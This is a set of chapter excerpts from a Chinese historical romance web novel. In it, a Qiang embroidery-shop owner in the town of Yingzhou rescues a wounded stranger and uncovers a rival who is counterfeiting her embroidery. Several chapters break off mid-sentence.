《白月光他又假死了》 1. 初见 《白月光他又假死了》全本免费阅读 景乾十七年,四月十三日,郢州城外。 阳光和煦而炽烈,绿树初绽新芽,满树繁花压枝欲低。而今小满才过,天气已渐湿热,麦田之中麦穗饱满垂首待熟,只待镰刀之割。 年过不惑之年的老者驾着马车行于阡陌之间,悠扬的曲调声似清风吹过竹林,其声清雅,袅袅不绝,丝弦乐的独特音调,不似寻常的汉曲,倒像是西羌的调子。 一曲罢,马车中的女子细心地擦拭手中一掌来长的乐器,这是她离开西羌前,族中前辈交予她的,由上好金竹制成的口弦,以气鼓簧,线动簧颤。 姜如素还记得前辈在族人婚宴上吹响口弦时,对她说的那句话:小小竹片中间空,麻绳扯奏响叮咚,房前屋后碉楼上,花前月夕起春风。 “姑娘又想故乡了吧?想来我程老头也快有十年没回去,也不知道族里是否还记得我这号人。”自称“程老头”的程伯手上使了劲勒住马,将马车的速度降下来,泥路有点颠簸,快了怕是会颠簸的姜如素难受。 “在忙个把月,等到淡季的时候,程伯可以....” 姜如素话还未来得及说完,不知怎么回事,驾车的马匹受了惊吓,偏巧前几日下过雨,路况算不得好,连带着整个马车都随着翻到了路边。 幸好今日车里没装些货物,不然免不得伤到哪里,姜如素心想。早间出门的时候,想着要去谈布匹生意的地方离郢州城远,轻装上阵便卸下了不少平日放在车上送货会用到的物什。 “姑娘没事吧。”程伯将马卸了下来拴在路边,连忙来扶姜如素。若是这马再受惊跑了,这前不着村后不着店的地方,回不去是个不小的麻烦。 “无碍,程伯可有伤到哪里?”姜如素关切的问道,程伯年纪大,不似她年纪还小,恢复得快。 程伯答着没事,将她从侧翻的车厢中扶了出来,只见那五尺宽的小路中央躺了个人,看不清模样,身上的布衣不知是沾了污,还是反反复复的染了血,像个破烂的玩偶。 程伯说着要去扶他,被庄如素拦了下来。 近来,这远郊之地总有匪乱横肆,若未确认对方的身份,贸然上前怕是有着风险。 姜如素用路边拾来的木棍先是挑开了那不知染了多少次血已经没了样子的布,少了遮挡,来人的样貌倒是能瞧清一二。 男子的长相倒是不差,虽无潘安之貌,到还是有几分儒雅的模样,看着有些糙,应是好几日未曾打理过。姜如素眼见着男子怀中鼓鼓,用木棍将衣服挑松些,瞧见一个写着晏字的小木牌,藤枝划烂了的袖口下依稀能看见有个简洁的纹样。 姜如素再戳了戳男子,见着实没了动静,想来不是陷阱。这才蹲下身替他把脉。 脉象浮大中空,是失血过多之兆。任由他在路边继续呆着,怕是不及日落,便会血竭而亡。 “程伯,马车还能走吗?” “轮轴受了些折损,近些的地方还能到。” “先将他送到庄子上去吧。” 姜如素在郢州城外盘下了一个庄子,就建在离郢州城不远的郢州山的半山腰。比起华贵的无素绣楼,这处庄子许是喜好归隐山林的人的好去处。 庄子少见人烟,闹中取静,不知身份的人她是不会贸然带回无素绣楼,万一这人惹过事,回城途中被人认出,反倒是会给绣楼惹上麻烦。 多一事不如少一事。 姜如素正说同程伯交代绣楼的事情。却瞧见马车车轮已有破损,要是猛地揣上几脚,怕是得完全报废掉,若是路况再险些,怕是连庄子都到不了。 “程伯,能撑到回城嘛?” “若路上不再出意外,是能的。”程伯是姜如素手下的一把手,不少的事情都由他安排着。“需要更换新的吗?”这个车轮已经补过好些次了。 “再补补吧。” 在郢州城雇马车出行不是个罕见的事情,往往只需花费几十个铜板,今日这一趟远行也才上百个铜板,对有着无素绣楼傍身的姜如素来说,是笔小开销。 尽管家大业大,也是一分一毫积累下来的。姜如素盘算着或许在下个月换个新车轮前还能再送两回货。 说完又看向屋内,无名客的伤势也不难处理,约莫三五日便能好全,想着等他醒了,也得把药钱算上。 时日过的快,转眼就到了四月十六日。 无名客在几日汤药的滋养下终是能下床走路了,换了一身干净的旧衣裳,收拾后到有几分世家长公子的风范。 “多谢姑娘救命之恩,敢问姑娘姓名。” “姜凌。”姜如素本想将药碗放在床侧的矮几上,这会儿人醒了,便是直接递交给他,“我的名字。” 那人似乎正思索着姜凌是何许人时,姜如素才兀的反应过来,汉人似乎都习惯称字,“你也可以叫我姜如素。” 榻上的人显然是愣了片刻,才缓过神来,“居然是姜姑娘,久仰大名。” 郢州城中未必人人都知道姜如素,但若是提及无素绣楼,怕是都能幡然醒悟的想起这位传奇般的老板娘。 真要说起无素绣楼那就不得不再提及的第一件事,便是这姜如素的来处。 姜如素过去是个什么样的人?郢州城并没有人知道。这姜姑娘籍贯何处?年方几何?可有婚配?家中几口人?他们一概不知,就像是突然出现似的来到了郢州城,由她一手传神的羌绣手法猜测她或许是羌人。 郢州城不临边境,不靠京城,只是个小城,城中住着些官宦老爷,林立着些商铺与书肆,大多赶早市的街边摊贩都是早早的从城外的村庄入城开摊。 只记得那是个寻常的早晨,寻常的和每一个清晨一样,就这么一个浑身是血的少女以剑柱着伤体蓦然的出现在了郢州城外的一个村庄里,被路过的程伯带回了家才捡回一条命。 此后不知情的村民也就随便聊两句,就在这个女子的来路渐渐的淡出了茶余饭后的谈资时,郢州城的城南挂了一个牌匾,开了新绣楼——无素绣楼,也出现了一位名叫姜如素的姑娘。 姜如素来到郢州城的五年,凭着一手绣艺将无素楼创办为闻名郢州城的绣楼,更是隐隐达到不可或缺的地步。 她绣的样式也颇为新奇,都是些山川花鸟,主要的纹样都是花朵,一朵花往往用上好几种颜色,由浅色到花瓣尖出的深红色,过渡却是极为融洽。 依稀见得着的针脚,非但不显得拙劣,反倒像是将那花朵下细细的脉络都勾勒的栩栩如生般,像是茫茫雪原绽放出唯一的艳色。 似流水般的布帛,上面点缀着花纹样式,或许就是那与姜如素故乡有关的无素花。 第二件,便是这无素绣楼,不单是这工钱开的是旁的绣坊的三倍,连绣娘上工的时长也是依着日落而歇,在这商无利不往的时候,姜如素却在城中招揽学徒,传授这立本的技艺,一应包揽吃住,免除学费。 没有人知道姜如 2. 危机 《白月光他又假死了》全本免费阅读 无素绣楼的门面,都是由着羌绣的绣品堆成的小铺子,木盘上放置着样式,少有多余的现货放在其上。山水流云的羌绣屏风在展示成品的同时,横断着将铺子的一侧隔成一个小隔间。 身着深青色布衣的男人正同一个矮他一头的小丫头争执着,男人起先并不打算过多和这丫头胡扯,只想着等来姜如素解决此事好早些回家。 可能是小丫头旁敲侧击的扰烦他了,男人简单的说了两句,那小丫头叉着腰不服气,“休得胡说,我们无素绣楼怎么可能做出这种次等货。” 男人本不想与她争辩,这会儿也是气着,“姑娘的意思是,我专寻这次等货来讹你们绣楼?” 小丫头似乎还想说。 “点秋,不得对客人无礼。” 被唤作“点秋”的小丫头见姜如素来了,立马闭上了嘴,乖巧的站在了她身侧。 点秋是姜如素从人伢子手中买下来的,按照汉地的算法,姜如素只长她三岁。小丫头从五年前就跟在她身边,起先只有她一人做绣娘的时候,便是靠着这小丫头每日替她招呼来客。 早几年少不了上门挑刺的,小丫头的年纪还小,意气用事也正常。 “姜姑娘,你可来了。”小小的争吵过一番,男子说话也开始不和善起来,“要是再晚些来,我可成小人了。我和夫人也是欣赏姜姑娘的为人,并不想让绣楼为难这才私下寻你。” 姜如素也瞧出来,这人是郢州肖氏的当家人,他与夫人每月都会来绣楼定些物件,也算是熟人,若想找无素绣楼的麻烦,让她下不来台,大可广而告之,大摇大摆的来与她姜如素对峙。 “点秋,是何问题?” 点秋将手中的方巾递给姜如素,悄悄抬眼看了眼男子,才悄声说道,“这位公子方才拿这块方巾,说是他夫人前几日来铺子里买的,拿回家后他觉得不对劲,一看才发觉出了问题。这不就找上门来了。可我询问是什么时候来铺子里买的,他又答不上。” “姑娘说话未必太过偏驳了,这方巾是我夫人前几日定下的,按照你们绣楼的期限来算,我觉夫人已取完货,却迟迟不肯用。一看才知道竟然是次等品,若非是我见过姜姑娘的绣品,怕是都要给骗过去。” “公子莫恼,待我先查看一二再说不迟。” 姜如素拿过方巾,粗布上绣的是无素绣楼最出色的样式——无素花团,艳色的花团自中心绽放来开,与深色的底布形成一种恰到好处的美艳,恰似夜里挑灯赏花。 可眼下这一方却有其形却无其神,劣质的就是个初学者的模仿品,这连次等品都算不得。 无素绣楼从不允许绣娘接私活,绣出的成品最后都是需经过她亲眼过目后登记在册的,残次品尚不存在,又怎可能任由这么一件仿制品从无素绣楼售卖出去。 怕是有人在背后算计,但当下不宜对外宣扬。 这会儿姜如素来了,肖公子缓了两口气,也终于是冷静下来说出自己的疑虑,“姜姑娘,我和夫人都相信无素绣楼做不出这样的事情,想着或许是有人在背后捣鬼,夫人这才让我寻来,早些同你说一声。” 姜如素觉得方才那男子有句话说对了,若非是他见过自己的绣品,见过这真正的自小长在羌人骨血中刺绣,怕是会一味的认为这仿制品便是羌绣。 若是再有有心人以此为评,认为这等劣质物件根本配不上百姓的追捧,再将这事情闹大,她甚至不敢细想,若是这种仿制品过多,怕是会惹来不小的麻烦。 确实,在旁人眼中来看,这异于汉地的织绣手法,只有她无素绣楼能做出,好与不好寻常人只会以为是她无素绣楼的手段,郢州城的羌人并不多,旁人只会以为是她姜如素为揽钱财,以次充好。 “如素多谢肖公子和夫人的好意,想来是那个丫头给公子取货的时候弄混淆了,将学徒练手的方巾交给公子,不如...”姜如素转身从一楼的匣子里取出两块方巾,“我以双倍补偿给公子,连原先收公子的钱也一并奉还,算是如素的歉意。” 那公子接过方巾,来来回回的翻看后,也觉得姜如素提出的补偿也算舒心,相当于白得了两块无素方巾,但依旧还是放心不下,离去前重新申明了自己想法。 “姑娘,你怎能如此便宜了他?”点秋有些忿忿不平,她在姜如素来前瞧过,那绝不是出自绣楼,说不准根本就不是在绣楼买的,如今折了两块成品还赔了银两。 “倒也不算便宜他,”姜如素朝着点秋招招手,小丫头立马放下茶盘凑了过来,“点秋,这是贵人,若不是肖夫人平日常来绣楼,念着这份情谊,将这次等货交至我面前,或许我还不知晓有人心怀不轨。” 点秋似乎突然反应过来,嘴上夸着姑娘聪慧,立马拍拍胸脯保证她待会儿出去打听打听,再次回来就带来问题的答案。 “等等。” “怎么了姑娘?” 无素绣楼已成五年,姜如素信得过的几人于旁人也不算是生面孔,偶尔点秋去糕点铺子买爱吃的枣泥卷时,还会被问几句绣楼的近况。 那人若是有心背着她们做事,想必若是点秋前去,什么消息都打探不着。 得找一个生面孔的,完完全全不会与绣楼搭上关系的人。 姜如素回头便窥见晏行丘站在廊下赏花,晏行丘自那会儿就跟着姜如素到了前院,见有纷争便自觉的站在门后的长廊上。 这人选远在天边近在眼前。 “晏公子,可愿意与我同去?” “自是万分乐意。” 两人稍作收拾便趁着还未日落赶紧出了门,姜如素带着帏帽随行在晏行丘身侧,一连将城中的铺子逛了不少,出门快半个时辰了。晏行丘依旧不着急,就带着她逛铺子。 “晏公子,你难道打算就这么一直逛下去?” 晏行丘心中所思虑到的,姜如素自然也是清楚。那仿制品打着无素绣楼的名号以混淆视听,能在无素绣楼定绣品的家中也算不得贫困。他们在等着来人上钩,可是逛上半个时辰,姜如素只觉得脚下发麻。 “姜姑娘有些累了?前面有个茶馆我们去歇会儿吧。”晏行丘放下手中被做成摆件的银花枝。 “好啊。” 两人才出铺子门,便被打扮朴素的一位老妇人拦了去路。 “公子和小姐,是外地来的吧?” “是啊,婶婶好眼力,我同阿妹是从南边的地方过来,听闻郢州城有些特色的东西,想寻一些由阿妹带回去留作纪念。”晏行丘立马迎上去回答。 “那小姐可是挑到喜欢的物件了?” 姜如素想到毕竟 3. 坦白 《白月光他又假死了》全本免费阅读 西羌的天似乎少有晴日,成群的羊群在看不着边的草原上,似乎就如同飘散的云朵散落在天空中一样,两相辉映,不辨彼此。 姜如素见到那熟悉的面孔,前辈慈爱的摸了摸姜如素的脸。那双如戈里木斯湖般深邃的眼睛看着她。 姜如素知道,这里留不得她了。 前辈送她走了很远很远,姜如素心想再远她就要记不得回去的路了。 “纳吉纳鲁。”前辈只留下四个字便隐于深林。 姜如素猛地从梦中醒来,吉祥如意...她当真能入前辈口中所祝愿的那样如意? 如梦似幻,梦中的名字就像是水中月一般,触之不及,却生生将人的目光硬是囚在那处光亮里,一枕惊梦。算下来,已经过去七年了,太多太多事情都快要记不清了。 窗外传来打更声,打更人的声音传来,三更了。 屋外有人,姜如素睨了那人一眼,才发现居然是晏行丘。 晏行丘似乎看的有些入迷,猛地回过神,掩饰尴尬的解释道,“程伯说夜里不安全,我随你一同前去。” 晏行丘心想,这可怨不得他发呆,姜如素这时的打扮如同换了个人一般。 平日姜如素总是将发丝盘起来,说到底还是西羌人,虽然不再延续西羌女编发以布缠头的习俗,省去了缠头,平日里依旧喜欢梳一个简单的发髻,插上簪子。 来郢州城这些年也渐渐的多添了些便捷素雅的小头饰。而今将头发放下来,微微的系上,发丝一半处依旧盘了一个小发髻用来固定住那些散落的发丝。 那深色的发簪依旧别在发间,晏行丘借着烛火去瞧,似乎瞧见几抹银色的花纹,隐秘带着一丝蛊惑,就如这个不依照汉朝条例生长,不知过去只单知晓一个羌人身份的姜如素一般。 拐过柳树巷的转角,姜如素如预期般的,看见门口放着盏小灯的屋子。 依着阿婶的指示,在那门上敲了三声,隔了一息又扣了扣窗台三声。敲完最后一声,姜如素听见那屋里传来脚步声,而后门开了。 开门的是一个老妪,身形矮小佝偻着背,步子也迈的慢,走到桌前,搬出一个小簸箩,掀开最上面那层粗布后,小小的竹筐内放着四五种绣样,约莫有着十几块成品。 “都在这儿了,有喜欢的尽管挑选。”而后老妪坐在一侧的卧榻上,那处不太亮,全屋唯一的烛火就放在桌上。 姜如素从中拿出来一块方巾,上面绣的无素花同上午哪一块存在着同样的问题,粗糙的针脚,全然只有刻板的模仿,完全失了神魂。 看来仿制品是出自这里了。 “阿婆,这些都是您自己绣的吗?” “不是我,是我儿媳绣的。”姜如素重复了好几次,老妪才听清回答道。 “那您儿媳呢?” “她快回来了,饭店打烊她就快回来了,姑娘要是有想要的样式待会儿尽管同她说,最快明儿就能来取了。” “好,那我等她一会儿。” 姜如素坐在小方桌一侧,环顾过四周的晏行丘在她对面坐下,这屋子的布局空落落的,整间屋子只有一个旧的木柜靠着床榻边,床侧有一扇小门,应该是通往后院火房舍后的。 屋内空出来的地方由他们围坐的桌子填满了大部分的空隙。夜色沉沉,二更天后只听闻得见那鸟叫虫鸣声,直到妇人推门而入打破了宁静。 室内烛光葳蕤,姜如素早已摘下帏帽放在一侧,就这般坐在桌旁,妇人先是一愣,瞧清楚了倒是腿软的直接跪下了。 “姜姑娘,我...” 姜如素轻声嘘停了她接下来的话,“借一步说话。” 后院果真如姜如素所猜想的那样是个并不大的院子。 “你叫什么名字?” “母亲唤我青茹。”妇人走近两步想给姜如素跪下,被她伸手给托了起来,“姜姑娘,我对不住你,是我一时鬼迷心窍 才做出这种事情。” “青茹,这事儿可有人指示你去做?” 妇人连忙摇头,又点点头,讲起来两个月前她被差遣去送餐,遇上一人,那人见她似乎喜欢无素绣楼的东西。 可依她在后厨打杂的工资,能撑起整个家已经不错了,她根本没有闲钱去买无素方巾,况且她总是辗转于厨房之间,带着那方巾,怕是会污了它。 那人便说能教她学这绣法,自己也能做无素方巾,不止是方巾,无素香囊,无素灯罩......她所喜欢的一切,都能由自己的手下产生。临走的时候还送了她好几样绣品,指点了如今这条路,她本是没当回事儿。 “那人说我要是能照着这方巾绣出来,在卖出去想来也是份不错的收益。” 她本不想,可是病弱的老娘,四壁空空的家,亡夫欠下的债,推着她走上这条路。妇人怀中的布包,一层层掀开,将那 三两银子取了出来。 “我知道自己错了,我早想到这一天会来。这是我存下的钱,剩下的我会补给姜姑娘的。” 姜如素没有收下,只翻来覆去的将方才从屋内拿出来的方巾看了又看。 “你可还记得那人的模样?” “我记不太清,她的个子不高,和我差不多,看样子不是郢州城的人,我上次去给城北的老爷们送糕点的时候在那边见过她。” 城北相见,看来是与那绣楼逃不脱关联了。 “你这绣工还算能行,不如来我无素绣楼如何?前半年在后院学绣法,我按每月给你银两,半年后再加上成品提成,若是你急缺银两,我还可先预支你两月工钱。” 妇人显然没想到姜如素非但不怪她,反而邀请她加入绣楼,反反复复的念叨着姜姑娘,似乎说不出接下来的话,似乎挣扎许久,才呜咽着从嗓子里挤出来一句,多谢姜姑娘。 姜如素也并不打算追究她从中谋取的钱财,只将她那些仿制品一一烧毁便将这事揭过去,烧毁的途中,姜如素倒是想起了一件事。 “郢州城肖家夫人可有在你这里买过方巾?” “肖夫人我不清楚,只知道前几日有个自称肖家的丫鬟来过,听她说本以为忘了给夫人定帕子会被责骂,多亏有人告诉了她这个地方。” 原来是这样,因为忙碌让丫鬟代为下定,阴差阳错的得到了这仿制品,这肖夫人正好又与她相熟,冥冥之中自有定数,天不会亡她姜如素。 都说商人无利不往,可晏行丘在姜如素身上看到了恰恰相反的一面。 他早些年其实去过西羌,那是个很不一样的地方,不似汉地的宅院,整个南水给他一种深邃的自由。 回去的路程走得很快。片刻便是到了侧门,姜如素停了脚步,眼前是晏行丘,身后是灯火辉煌的绣楼。 “今日虽受程伯之托,但毕竟还是让你走了一遭,按例我还是要给你算工钱的。” 姜如素似乎早就打算好,早些让他离开,就单单这一趟居然给他开了六十个铜板。 晏行丘看着那堆堆叠叠在姜如素掌中的小钱堆,在绣楼 4. 破局 《白月光他又假死了》全本免费阅读 郢州城前两日下了雨,不止赶集的人来的少,连摊贩都少了不少。这一见天晴,便是比往日还热闹,市集上人来人往,摩肩接踵。 “点秋姑娘来了?还是老样子?”糕点铺的伙计看见点秋刚抬脚进门便立马熟练的拿过油纸。 点秋嘴馋,每逢三四日都来糕点铺买些吃食,后院人多,小孩儿也多,这一块那一块的分着,一会儿就没了。 为了控制住后院那些小家伙老惦记着点心不吃正餐,点秋一直控制在三两,约莫也就八九块来。 点秋调皮了摇了摇头,那伙计也不恼说着要放下油纸,“最近无素绣楼的生意可好着呢,能允许你出来偷闲?” “当然啦,谁不知道我们家如素姑娘对我最好了,况且......”点秋似乎察觉到这话不好,立马止住了话头。 “况且怎么了?”不论那伙计再怎么追问,点秋都不说,未完的话题勾的那伙计心痒痒。 “不同你说了,称两斤枣泥卷和绿豆糕。” “今日怎么这般大方了。” 小姑娘毕竟藏不住事,点秋招了招手让正给她打包的伙计凑近些,悄声说到,“平日如素姑娘总管着我,让我少吃些甜食,小心蛀牙。现在她不在绣楼了我可不得抓紧多吃些。” “如素姑娘出去了?去哪了?” “如素姑娘回家乡去了,应该是出了事儿,走的急,谁也不让跟着。姑娘这次回去怕是得一个月才回。” “那你可不得上心打理,小心姜姑娘回来看你扯一摊子麻烦事儿,少不得罚你几个月的月例。到时候吃不上枣泥卷有得你哭。”伙计一边同点秋聊着,手下系麻绳的动作也不马虎,立马就系好了一个好看的绳结,连带着将钱一并找给了点秋。 依着点秋那隔三岔五就来一趟的糕点铺的次数,铺子里别说伙计了,就连后厨做糕点的厨子都知道点秋又来了。方才去后厨码放糕点的另一个伙计回来了。 “点秋姑娘又来了?还是三两枣泥糕?” “这次可不是,你不知道如素姑娘这几日....” 郢州城倒是不如皇城之下,总捡些王公小姐的萍水相逢都能聊上一些时日,这小城中一些无关紧要的事儿口口相传也是少不了不少人聊来消闲。 其实说来糕点,点秋最爱吃的还是秀萍蒸的桂花糕,刚出炉的时候,香甜细腻,混着一下子就充斥满腔的花香,总能令人食欲大开。 但说到枣泥卷,点秋平日往往进嘴的时候只一块,偶尔还分小元一半,可糕点铺子的人都知道,点秋姑娘最爱吃的还是枣泥卷,其次才是绿豆糕红糖酥。 晏行丘在早市里逛了一圈,才在靠近城门边的一个小菜摊瞧见了一位熟人。 “阿婶。” 手臂挂着竹篮正同着菜农讲价的老妇人,听到熟悉的声音惊诧的回过身,瞧着晏行丘看了好一会儿才恍然反应过来是那日的公子,瞧了瞧他身后,那姑娘却没跟着。 “居然是公子,”老妇人的表情只是一刹的僵住,随后被满面堆起来的笑容给掩饰了过去,“公子来找老身,可是那日没寻着喜欢的样式?” 晏行丘笑着看她,不急着说不是也不说是,盯着老妇人开始有些乱了阵脚,才不急不缓的开口道。 “阿婶,我们借一步说话。” 两人去的是就近的一个小茶摊,茶摊铺面小,还摆了不少的桌椅在门前,这会儿来来往往的行人都趁着赶早去买些新鲜的瓜果,在熙熙攘攘的市集上,倒还是隔出来这一小块闲地。 “公子可是有什么事儿想和老身谈啊?”老妇人脸上堆着笑,但身子确实紧绷的,似乎打算随时混进人群里,消失在晏行丘的眼前。 毕竟仿制品也并不是完全没有翻车的时候,遇上旁人倒好,遇上识货的主儿,闹大了得将她送去见官。 “倒也不是很什么急事。” 晏行丘就着茶摊上的茶不急不缓吃口了茶点,沉思的模样倒是让老妇人捉摸不透,背后生寒。等着那一块噎人的糕点吃完晏行丘才赶在老妇人想离开前开口。 似乎是这时才反应过来,方才只顾着盘算的晏行丘这才开始提及正事,“商某心里一直想着事儿,居然忘了同阿婶说正事,我姓商,家在景州城开了个杂货铺,那日我同阿妹见了那绣帕,果真不愧是郢州城一大特色。想来多订一些,带回老家售卖。” “原来是这样,公子打算定多少?”老妇人松了一口气,主家本就是让她来搅和无素绣楼的生意,若是传的更广,将来出事怕是姜如素连换个城开店的机会都没有了。 老妇人心底盘算着事儿,越想越是觉得自己遇上这位“商公子”真是遇对了,说不定主家见她把事办得好,还多给几两银子。可她还没高兴多久,就见晏行丘缓缓伸出四根指头。 “四百?”她将数字往大的去猜。 晏行丘摇头,“四千。” “四千!这可不行。”老妇人也是一惊,下意识就脱口而出,似乎察觉不对才补上一句,“可我们只有那一位绣娘。” 单单四千方绣帕,可是上百两的交易。虽说不至于将无素绣楼买下来,但买下一些旁的两三层的小铺子完全有余,这么大一笔单子可不是她随便就能安排的。 更何况,这四千方绣帕是一个绣楼一年才能绣出来的量,说来价钱,她们为了不露馅,卖出去的价格同无素绣楼是一样的。 无素绣楼的绣娘约莫有十来位,若是真想做这笔生意,他也应该先去找无素绣楼谈生意才是。 “商公子怎么不去同无素绣楼谈这笔生意,那绣楼的绣娘多应该能早些日子赶出公子想要的东西。” “婶婶不知啊,”晏行丘苦恼的又给自己斟满了茶,“我也去过无素绣楼,可那姜姑娘不在也谈不下来,说是个把月才回。可我和阿妹后日便要离开郢州城了。” “那我晚些去问问那位绣娘。” 确实有一些回头客念着她们这边比无素绣楼的工期短,又来拿过几次货,但终究是百来铜板的生意,也没有 5. 试探 《白月光他又假死了》全本免费阅读 余婶似乎心下依旧有别的想法,不知该不该说,只能在两人面前晃着身子,想走又不甘心的回来。 “怎么了余婶?还有事儿想说?”周予吟见老妇人似乎有些为难。 “主家,我想着这几百两银子也够绣楼一年挣得,要不我将咱绣楼的样式给那商公子瞧瞧?他求的是郢州城一绝的名头,咱锦绣楼也可以是这名号啊。” 周予吟早就已经将绣楼的牌匾定好了,现下就用红布遮着放在大堂一侧,她特地的挑了个同她无素两相极端的锦绣二字。 周予吟摇了摇头,“且不说这中间所要投进去的资金,若是这商公子兀自的离了郢州城,四千方帕子一年半载根本无处周转。”更何况期间的工时与布匹,就算是下了定金也并不可能保证万无一失。 只需要这一单,就可以架空整个绣楼。 这个风险,周予吟并不想去冒险,更何况,这仿制品都出现了一月余了,就算私下只是二十来数的生意,再瞒着姜如素她也早该有所察觉,虽平日最是觉得她对什么事儿都不上心,但也并非是个傻子。 搞不好这商公子还是姜如素下的套,她若贪心岂不是着了她的道。 她如今心下更有盘算,锦舟司的绣娘加上几日后的赏花宴,这才是她锦绣楼真正的开始。 一侧的绣娘见周予吟沉思,连忙支招,“既然这商公子有这心,不如我们便也利用他一下,给无素绣楼寻些事儿?她们忙起来,一时半会儿解决不了那种,正巧也没有功夫对付我们。” “不了。”周予吟否决的坚定,“此举断不可行。对了,余婶,你这些日子没有人来找过你的麻烦吧?” “并没有。” 居然没有察觉嘛? 周予吟并没有一丝一毫瞒天过海的高兴,反之,她只觉得姜如素或许再戏弄她,就像是那种黄雀在后的感觉,如芒刺背,周予吟只觉得不安。 “姜如素当真不知道?她平生最是精明,不应该......” 余婶也是顺应着点头,突然想起来一事,“主家不知,姜如素似乎不在城中了。” “真的?” “真的。不止是商公子告诉我,说是去绣楼同姜如素谈生意的时候,她并不在。无素绣楼的点秋姑娘似乎也说过。前几日回故乡去了。” 姜如素是羌人的事情,郢州城中下下心思就能得知,虽不知是那一部落的,但最近的西羌边境往来都需要十来二十天。 “那绣楼守铺子的是谁?” “是点秋姑娘。” 半大个丫头能守住这绣楼? 周予吟还是觉得不太相信,这一切太巧了,巧的就像是一个局,等着她往里面跳。 “怎么了?姑娘是要做些什么?”姜如素不在的这几日,点秋在后院日子过得悠闲,绣娘的手艺有秀萍姑姑盯着,她只需要在铺子有事时出面便是。 见眼前人迟迟不开口,却点了名儿的要见她,点秋也心生有些不耐烦,“姑娘?” 周予吟盯着这小丫头,“听说无素绣楼出了新样式,不知今日可有机会瞧上一瞧。” 周予吟今日的装扮是郢州城最是时兴的装扮,浅黄色的齐胸襦裙上除去布料的简易花纹外,还用着同色或近色的丝线绣上一些呼应的纹样。 是个有钱的人家,想来也是奔着赏花宴来定制衣裳。点秋也并不觉得奇怪,赏花宴期间往往也是无素绣楼一年最是忙碌的时候。 “当然可以啊,姑娘随我至楼上吧。”如素绣楼的二楼向来是招待一些小姐少爷的,想来若是在一楼大堂商榷许久,反而是两方都不方便。 “自然时最好。”周予吟跟着上了楼,一过转角便见那一满墙都架子挂着的布样,花样百出,令她眼花缭乱挪不开眼,也不知道瞧那处才是最好。 点秋也不催,站在她身侧,“姑娘可有心仪的纹样,若是也有心仪的形制正好可以一起协商。” “可有别家小姐在这定赏花宴的衣裳?”周予吟虽移不开眼,但还是不忘今日的目的,便是探探这点秋姑娘。 “自然是有的,姑娘要看吗?”点秋爽朗的答应了下来,说着就要拿那衣裳过来。 周予吟就着点秋的手草草的看了一眼,赏花宴的小姐们最看重的便是独一无二,点秋居然这么不设防的就让她看已做好的衣裳。 姜如素竟然也不雇一个靠谱的人,她心下想着。 她虽是希望自己一手创办的锦绣楼能达到无素绣楼也曾达不到的境界,但说到底她是想同姜如素较量较量。 周予吟本就是郢州城中一户外来商户家的小女儿,父母亲皆是行走天南海北的商户,她也是念着少时就喜好绣些物什,才开了绣楼。 回程的途中,周予吟没有回她的锦绣楼,倒是去了城中最大的府邸——太守府中。 赏花宴是郢州城在每年芒种前举办的一场盛宴,由太守府中承办,城中有权有势有些小官职的家中妻女皆可参加。 左右都是一些守着官职在郢州城养老的人,十来年也调离不走,故而这赏花宴还有一层别的意思,便是各家夫人为自家儿孙相看媳妇的一场宴会。 谁家夫人的妆容衣裳好看,谁家失了脸面,谁家又得了青睐,往往能成为这段时间内百姓最喜欢聊到的话题。 而与寻常百姓家,赏花宴也是一件不小的盛事。对于不止是想做小买卖生意的商人来说,这是个绝佳的机会。 就以那城西的如意酒肆为例,两年前这如意酒肆还不是酒肆的时候,只是个由走街串巷叫卖才好不容易开起来的小酒坊。 只撑一间小铺子,每日贩卖着纯粮酒,偶尔顺应节气买些果酒。 正巧太守夫人在为赏花宴寻找何适的酒水,如意酒坊的当家当时也是想着试试,便打了些自家酿制的青梅酒,想着这酒平日就买的好,就算不能中选为宴席供酒,好歹也算是有个机会。 这青梅酒果酒正配这赏花之风,果香蕴然,香滑入口,唇齿留香也不醉人。 一举中选后,便是借着这赏花宴一举成名,由一个小铺 6. 旧事 《白月光他又假死了》全本免费阅读 赏花宴每年都设在四月十九,周予吟因那蝶映牡丹也被太守夫人邀请去赴约赏花宴,再加之几位夫人的引荐,也是同着几人一起前去。 假山流水处皆是搭上了临时的乘凉处,清茶酒香同着花香交汇,如游梦中仙境。 “太守夫人今日这一身衣裳当真漂亮。” “瞧着可不是吗?旁人都说人靠衣装,我倒是觉得是太守夫人将这衣裳的美穿出来了。” “阿楠,你又说笑了。”太守夫人受不住两位好友的打趣,也是连忙引回了正事儿,“我这衣裳可是予吟姑娘做的,可不单单时锦舟司的金丝绣花那么简单。” “是吗?我瞧瞧。”太守夫人身侧那廋一些的夫人将她的衣袖凑近些瞧了瞧,“当真是不一样。” “予吟姑娘有这手艺,怎么不开个绣坊。”另一位稍为丰腴的夫人接过话来。 “我在城北开了家绣楼,明日便要开张,夫人们若是不嫌弃,予吟恭候各位的来逛逛。”周予吟收到太守夫人的眼神,立马介绍了起来。 加上这赏花宴,明日开张肯定不少夫人要前来,自然也勾的那些不知情的人也好奇这锦绣楼的本领。 “那明日我可去你哪儿看看。” “予吟等着夫人来,定会给夫人心仪的东西。” 几人有说有笑的到达了设宴的花园处,几人瞧间她们来了,也是上前打了招呼便也是散去了。 周予吟也识趣的不打扰太守夫人同旁人的聊天,也是行了礼便散开了。 角落处一人悠闲的喝着茶,发丝一应挽了起来,发簪间还被别上了一朵分红色的杜鹃花,同她今日桃红色的衣裳浑然一体。 姜如素居然回来了? 她身侧坐着共谈的肖夫人,今日也是极为惹眼,形制与旁人相差无几,细看却融合了西羌服饰的一些细节,变得更便为出行。 几层衣衫的交叠处绣制着鸟雀花团,在袖口还绣着灵动的回文样式,层层叠叠间像是将一丛花束定格在衣间。 相较之下,虽然同她所制那衣裳算得上平分秋色,但周予吟还是隐隐知道她还是不如,或许是羌人的身份,姜如素总能有更多奇思妙想,显得她有点局限了。 周予吟心下一紧,却又暗暗的期冀了起来,如今她可是作为锦绣楼的东家来与她这位对手相见。 她也怀抱了束鲜花,打算同几位去聊聊。才走进那人先是察觉的回过身。 “原来是这位姑娘,我们前几日见过。” 周予吟见是点秋,不知怎地有些失落,一来失落这姜如素竟不曾来,这赏花宴于城内商贾而言,是好机会。二来是,姜如素不来都隐隐让她败了下来。 “近日可是睡得不好?”肖夫人关切的问道,也不忘腾出一块地让周予吟坐下。 太守家的小姐,两肘撑在桌面完全打不起精神来,看样子怕是下一刻便要昏昏欲睡过去,毕竟是女眷之间的赏花宴,自然较寻常的宴席更为肆意一些。 “可不是?”小姑娘嘟囔了一下,“总是睡得很浅,怎么睡都困,白天这气温起来又烦闷的心慌。” “要不去看看大夫?” 